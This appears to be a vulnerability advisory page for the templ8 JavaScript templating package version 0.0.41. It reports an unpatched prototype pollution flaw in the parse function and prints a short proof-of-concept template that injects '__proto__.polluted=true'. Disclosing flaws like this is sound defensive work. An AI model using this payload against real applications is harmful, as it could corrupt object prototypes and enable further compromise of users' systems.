templ8@0.0.41 vulnerabilities

Just a simple templating engine

Direct Vulnerabilities

Known vulnerabilities in the templ8 package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • H
Prototype Pollution

Templ8 is a JavaScript Client/ Server Template Engine

Affected versions of this package are vulnerable to Prototype Pollution via the parse function.

POC

const Templ8 = require('Templ8'); 
var tpl = new Templ8( '{{__proto__.polluted=true}}' ); 
tpl.parse(); 
console.log(polluted) //true

How to fix Prototype Pollution?

There is no fixed version for Templ8.

*